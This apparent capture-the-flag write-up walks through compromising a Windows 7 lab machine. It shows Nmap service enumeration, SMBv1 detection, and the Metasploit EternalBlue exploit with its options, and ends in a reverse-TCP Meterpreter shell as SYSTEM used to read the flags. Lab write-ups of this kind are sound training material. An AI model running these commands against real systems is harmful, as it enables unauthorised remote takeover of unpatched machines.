Enumeration
Nmap
We start by running an nmap scan on the most common 1000 ports using the flag -sV to perform a service/version scan, and the -sC flag to perform a script scan using the default set of scripts:
$ nmap -sV -sC 10.129.205.29
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-07 11:06 EST
Nmap scan report for 10.129.205.29
Host is up (0.040s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2023-01-07T16:07:47
|_ start_date: 2023-01-07T16:03:54
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 210:
|_ Message signing enabled but not required
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: haris-PC
| NetBIOS computer name: HARIS-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2023-01-07T16:07:48+00:00
|_clock-skew: mean: 3s, deviation: 1s, median: 2s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.77 seconds
Port 445
SMB (Server Message Block) is a network file sharing protocol whose implementation by Microsoft is known as Microsoft SMB Protocol. Since Windows 2000, Microsoft SMB Protocol can be used over TCP/IP on port 445/TCP without the need for the NetBIOS transport layer protocol.
We attempt to to list the supported protocols and dialects of the SMB server using the Nmap script smb-protocols:
$ nmap --script smb-protocols -p445 10.129.205.29
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-07 11:16 EST
Nmap scan report for 10.129.205.29
Host is up (0.044s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-protocols:
| dialects:
| NT LM 0.12 (SMBv1) [dangerous, but default]
| 202
|_ 210
Nmap done: 1 IP address (1 host up) scanned in 3.49 seconds
The target is running Windows 7 Professional 7601 Service Pack 1 and using SMBv1. This SMB version is vulnerable to the infamous EternalBlue exploit (CVE-2017-0143 to CVE-2017-0148).
Getting a Shell
Metasploit
We can easily exploit this vulnerability using Metasploit.
We launch msfconsole and search for the exploit by name:
$ msfconsole -q
msf6 > search name:eternalblue
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms17_010_eternalblue
msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >
After selecting the right exploit we set the required options:
msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/U
sing-Metasploit
RPORT 445 yes The target port (TCP)
SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows
Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Ser
ver 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R
2, Windows 7, Windows Embedded Standard 7 target machines.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.122.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 10.129.205.29
RHOST => 10.129.205.29
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST tun0
LHOST => tun0
Finally, we run the exploit and we get in the target machine as user NT AUTHORITY\SYSTEM:
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.10.14.71:4444
[*] 10.129.205.29:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.129.205.29:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.129.205.29:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.129.205.29:445 - The target is vulnerable.
[*] 10.129.205.29:445 - Connecting to target for exploitation.
[+] 10.129.205.29:445 - Connection established for exploitation.
[+] 10.129.205.29:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.129.205.29:445 - CORE raw buffer dump (42 bytes)
[*] 10.129.205.29:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.129.205.29:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.129.205.29:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.129.205.29:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.129.205.29:445 - Trying exploit with 12 Groom Allocations.
[*] 10.129.205.29:445 - Sending all but last fragment of exploit packet
[*] 10.129.205.29:445 - Starting non-paged pool grooming
[+] 10.129.205.29:445 - Sending SMBv2 buffers
[+] 10.129.205.29:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.129.205.29:445 - Sending final SMBv2 buffers.
[*] 10.129.205.29:445 - Sending last fragment of exploit packet!
[*] 10.129.205.29:445 - Receiving response from exploit packet
[+] 10.129.205.29:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.129.205.29:445 - Sending egg to corrupted connection.
[*] 10.129.205.29:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 10.129.205.29
[*] Meterpreter session 1 opened (10.10.14.71:4444 -> 10.129.205.29:49159) at 2023-01-07 11:54:24 -0500
[+] 10.129.205.29:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.129.205.29:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.129.205.29:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
User Flag
Navigating to C:\Users\haris\Desktop we find the user flag:
meterpreter > ls
Listing: C:\Users\haris\Desktop
===============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 282 fil 2017-07-15 03:58:32 -0400 desktop.ini
100444/r--r--r-- 34 fil 2023-01-07 11:04:24 -0500 user.txt
meterpreter > type user.txt
[-] Unknown command: type
meterpreter > cat user.txt
580**************************039
Root Flag
Navigating to C:\Users\Administrator\Desktop we find the root flag:
meterpreter > ls
Listing: C:\Users\Administrator\Desktop
=======================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 282 fil 2017-07-21 02:56:40 -0400 desktop.ini
100444/r--r--r-- 34 fil 2023-01-07 11:04:24 -0500 root.txt
meterpreter > cat root.txt
d83**************************e87